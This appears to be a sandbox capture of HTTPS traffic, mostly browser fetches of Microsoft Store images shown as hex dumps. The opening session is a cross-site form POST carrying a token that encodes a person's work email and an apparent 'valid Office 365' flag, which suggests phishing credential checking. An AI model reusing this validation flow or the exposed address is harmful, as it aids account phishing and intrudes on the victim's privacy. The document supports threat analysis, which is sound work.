User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLFDsv8J5vWVLfOQA
Origin: null
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:40 UTC 1487 OUT Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 4c 46 44 73 76 38 4a 35 76 57 56 4c 
66 4f 51 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 
6d 65 3d 22 49 37 5a 76 31 36 35 32 34 38 35 32 34 30 31 33 31 22 0d 0a 0d 0a 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 
7a 49 31 4e 69 4a 39 2e 65 79 4a 30 61 57 31 6c 62 48 6b 69 4f 6a 45 32 4e 54 49 30 4f 44 55 79 4e 44 41 78 4d 7a 45 
73 49 6d 55 69 4f 69 4a 79 63 6d 39 7a 63 30 42 77 59 58 4a 34 59 32 46 7a 61 57 35 76 4c 6d 4e 76 62 53 49 73 49 6e 
52 35 63 47 56 66 59 57 4d 69 4f 69 4a 32 59 57 78 70 5a 47 39 6d 5a 6a 4d 32 4e 58 4a 6c 49 6e 30 2e 36 49 5a 4e 6a 
55 50 43 46 34 62 50 78 5f 33 46 6b 57 56 32 73 6d 48 51 36 2d 39 47 
Data Ascii: ------WebKitFormBoundaryLFDsv8J5vWVLfOQAContent-Disposition: form-data; name="I7Zv165248
5240131"eyJhbGciOiJIUzI1NiJ9.eyJ0aW1lbHkiOjE2NTI0ODUyNDAxMzEsImUiOiJycm9zc0BwYXJ4Y2FzaW5vL
mNvbSIsInR5cGVfYWMiOiJ2YWxpZG9mZjM2NXJlIn0.6IZNjUPCF4bPx_3FkWV2smHQ6-9G

2022-05-13 14:40:40 UTC 1524 IN HTTP/1.1 405 Method Not Allowed
Date: Fri, 13 May 2022 14:40:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 8
Connection: close
Access-Control-Allow-Origin: null
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, PATCH, OPTIONS
Access-Control-Allow-Headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-
With
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 25 Jul 1997 05:00:00 GMT
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=95MAPGmhKfBJjSxMmqDJPtiAL6eg72D3
bI%2BCaf1kyarI7KW7ucndN6WaU32DvrX7dyJv3JqORNP11YtVIE8hX%2FpvuKPG7wPfXtRCltHfhVcUoy9cpCsXL5
MAmw158Q%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 70ac268b5a65910c-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:40 UTC 1525 IN Data Raw: 45 58 50 49 52 45 44 21 
Data Ascii: EXPIRED!
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

66 192.168.2.3 49819 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:40 UTC 1487 OUT GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-
e569a2444a83?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:40 UTC 1488 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36301
Content-Type: image/jpeg
Last-Modified: Mon, 09 Aug 2021 18:25:01 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk1QjYzMDA1MzJGOEY"
MS-CV: q3l8T0dRYkekS5SG.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:40 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:40 UTC 1488 IN Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 
79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8e 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 
2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 
48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 
64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 
2e 30 2d 63 30 30 36 20 37 39 2e 64 61 62 61 63 62 62 2c 20 32 30 32 31 2f 30 34 2f 31 34 2d 30 30 3a 33 39 3a 34 34 
20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 
Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmp
meta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.dabacbb, 2021/04/14-00:39:44        "> <rdf:RDF 
x

2022-05-13 14:40:40 UTC 1504 IN Data Raw: cc b7 c7 67 22 36 f7 6c d2 0e d3 d0 48 03 3b 15 25 7a 8a fa 1f e3 c1 49 a0 f3 0b 31 90 cf 3e ea 51 a3 8d c3 85 
ee bd 9d c8 d3 8d e8 3e a9 d5 aa e4 6b 7e e7 7f ef e9 ea 12 6c 9f 72 d8 c0 50 34 8d cb f8 f1 1d 6f e2 c8 b2 17 00 3c 8d 
d8 d5 f2 a5 3d 6b fc 38 42 5f 90 8f 3a ed 4c cc 06 0f 19 19 b3 b9 73 c8 6a 98 64 cf 84 83 69 0b c5 5c 41 a0 b7 67 fd 79 42 
44 73 4b be e4 e8 c3 18 e1 bd 51 1b 06 b1 e8 f4 5f 71 88 8e 90 c6 6c 3a 5b 7d 5e 46 ab 0c 64 4c eb d3 bb 33 2f e9 a9 ff 
00 62 24 3a 8d 7a b1 00 74 27 84 a7 96 6e ed e0 b7 ba 82 09 07 ed 96 72 18 63 a7 fe a4 a3 91 a7 fb 31 d1 c9 ff 00 13 03 
f2 a5 d5 c5 fc 6d 6b 95 e3 da 2a 3b ea 5a bb e9 9c 7f 97 b1 b0 b1 8b 6f 1b f7 38 05 b6 bd bb ae d5 7b 33 22 9b ec 9e 91 
a3 45 21 14 65 47 b1 ea 77 23 91 7e ab e8 6f 74 67 
Data Ascii: g"6lH;%zI1>Q>k~lrP4o<=k8B_:Lsjdi\AgyBDsKQ_ql:[}^FdL3/b$:zt'nrc1mk*;Zo8{3"E!eGw#~otg

2022-05-13 14:40:40 UTC 1512 IN Data Raw: 5b 15 23 9e d6 14 d1 89 64 3f 65 ee fb c6 23 10 ad 5f 71 8d 54 c8 da 98 d9 b1 f8 38 7f 6e 05 ff 00 70 53 2b 95 
fc e2 15 7d 29 19 eb cd e4 04 b7 a5 55 3e 3c 43 42 12 6d 57 77 1f ff 00 58 15 5f 81 94 8a bb 9f f7 01 0a 0f c0 b1 eb c2 6d 
f2 27 8c aa 3c e4 c2 58 e3 f8 f7 98 e5 d6 d8 60 5b 77 0e ba 96 60 06 b8 cd 45 e3 5e 8c 9b 71 62 20 b5 b6 e3 2c d4 62 8a 
31 fd c3 fb 31 15 1a c0 f6 ab fb f6 db e0 9f b6 bc 2c 9e 3a 5d cf 65 70 cb bf 2f a2 1d f2 e0 34 29 d7 44 0b 42 5a 30 82 95 
20 d4 b1 ab 2d 45 02 27 33 e5 0c 9e d4 dc a9 0d fd 91 3b 71 65 d4 1d 4f ea 37 f8 9e bf 95 89 3d 54 d2 84 52 a3 85 41 c4 
5e 06 72 1d 9c 4e 48 b7 d1 50 5b 8e 46 4b fa 82 2c 4a 0a 28 92 2c ac 56 3e 50 04 35 fd 90 95 83 6b 0b 09 03 15 43 11 
e8 8f ee 21 1a fe c7 b5 cc ee 58 6f 5d d9 26 c4 dc 
Data Ascii: [#d?e#_qT8npS+})U><CBmWwX_m'<X`[w`E^qb ,b11,:]ep/4)DBZ0 -E'3;qeO7=TRA^rNHP[FK,J(,V>P5kC!Xo]&

Session ID Source IP Source Port Destination IP
Destination
Port

Process

67 192.168.2.3 49822 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:41 UTC 1525 OUT GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-
8ba298101695?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:41 UTC 1525 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 36356
Content-Type: image/png
Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ"
MS-CV: z5GVXLljMESvilJy.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:41 GMT
Connection: close
Access-Control-Allow-Origin: *
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2022-05-13 14:40:41 UTC 1525 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 
41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 
6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 0
9 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 
fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 
2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 
Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}
UN:EK.]tK.]tK.]tK.]t

2022-05-13 14:40:41 UTC 1541 IN Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 
21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 
3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 
19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 
c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 
92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 
cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 
Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF
:E^"ym_/,E}M.dlc

2022-05-13 14:40:41 UTC 1549 IN Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 
75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f 
e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 
13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 
e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 
0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 
ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b 
Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5
;:jJe-*Q,(Mk

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

68 192.168.2.3 49823 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:41 UTC 1561 OUT GET /image/apps.58878.9007199266246761.3059e916-5e99-4797-a868-366cc8761e37.21987aba-4948-4f44-bf2e-
eba90517f1c5?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:41 UTC 1561 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 10442
Content-Type: image/png
Last-Modified: Tue, 14 Apr 2020 05:45:00 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdFMDM2RjkwOEZGQzA"
MS-CV: TWvnrk8ibEGqh+7Q.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:41 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:41 UTC 1562 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
28 91 49 44 41 54 78 da ed 9d 79 74 1c 57 95 ff ef eb 6e ad 2d 39 76 bc 44 56 e2 10 3b b6 e3 38 4c 2c 5b 71 92 99 31 8e 
6d 30 21 0b 09 f0 3b fc f0 19 96 13 e0 cc 1c cc 09 f0 0f bf 43 20 1c 7e 87 01 32 24 19 18 c2 12 fe 08 1e 30 cb 4c 20 24 0e 
63 20 24 31 89 c9 26 db f1 92 c4 96 f7 45 72 6c cb 5b 64 5b 8b 6d a9 bb eb 4d bd ea aa ea 57 af df ab aa d6 66 59 fa 7e 
a0 d2 5d dd 2d a9 25 ab 3e ba f7 d6 ad fb 18 e7 9c 00 00 e0 62 20 81 1f 01 00 00 c2 02 00 00 08 0b 00 00 61 01 00 00 84 
05 00 00 10 16 00 00 c2 02 00 00 08 0b 00 00 20 2c 00 00 84 05 00 00 10 16 00 00 40 58 00 00 08 0b 00 00 20 2c 00 00 
80 b0 00 00 10 16 00 00 40 58 00 00 00 61 01 00 20 2c 00 00 
Data Ascii: PNGIHDR,,y}u(IDATxytWn-9vDV;8L,[q1m0!;C ~2$0L $c $1&Erl[d[mMWfY~]-%>b a ,@X ,@Xa ,

Session ID Source IP Source Port Destination IP
Destination
Port

Process

69 192.168.2.3 49824 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:42 UTC 1572 OUT GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-
6a8c0db400e4?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:42 UTC 1572 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 45735
Content-Type: image/png
Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E"
MS-CV: hrPmTcUjH02eZ8TI.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:42 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:42 UTC 1573 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 
78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 
70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 
3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 4
3 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 
30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 
Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> 
<rdf:RD

2022-05-13 14:40:42 UTC 1588 IN Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 
c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 
ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 
47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 
f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 
76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 
4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da 
Data Ascii: qHVY>qT(Ys6AY9_(v\oz  3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo

2022-05-13 14:40:42 UTC 1597 IN Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 
e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 
b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 
47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc 
c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 
26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 
3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 
Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvP
i? us=a

2022-05-13 14:40:42 UTC 1613 IN Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 
07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 
06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 
4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 
65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 
66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 
bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 
Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJ
ulWVBmPa;

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

7 192.168.2.3 49709 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:57 UTC 80 OUT GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-
59f575e79b05?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-13 14:39:57 UTC 81 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1821
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ"
MS-CV: opsyL7UQw0OK0Svs.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:57 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:57 UTC 81 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 
1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 
83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 4
9 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d 
f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 
c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 
Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

70 192.168.2.3 49825 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:42 UTC 1617 OUT GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-
6bb763b60b02?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:42 UTC 1618 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 142254
Content-Type: image/png
Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM"
MS-CV: 3ZtNXbGcZUui37wn.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:42 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:42 UTC 1618 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 
09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 
70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 
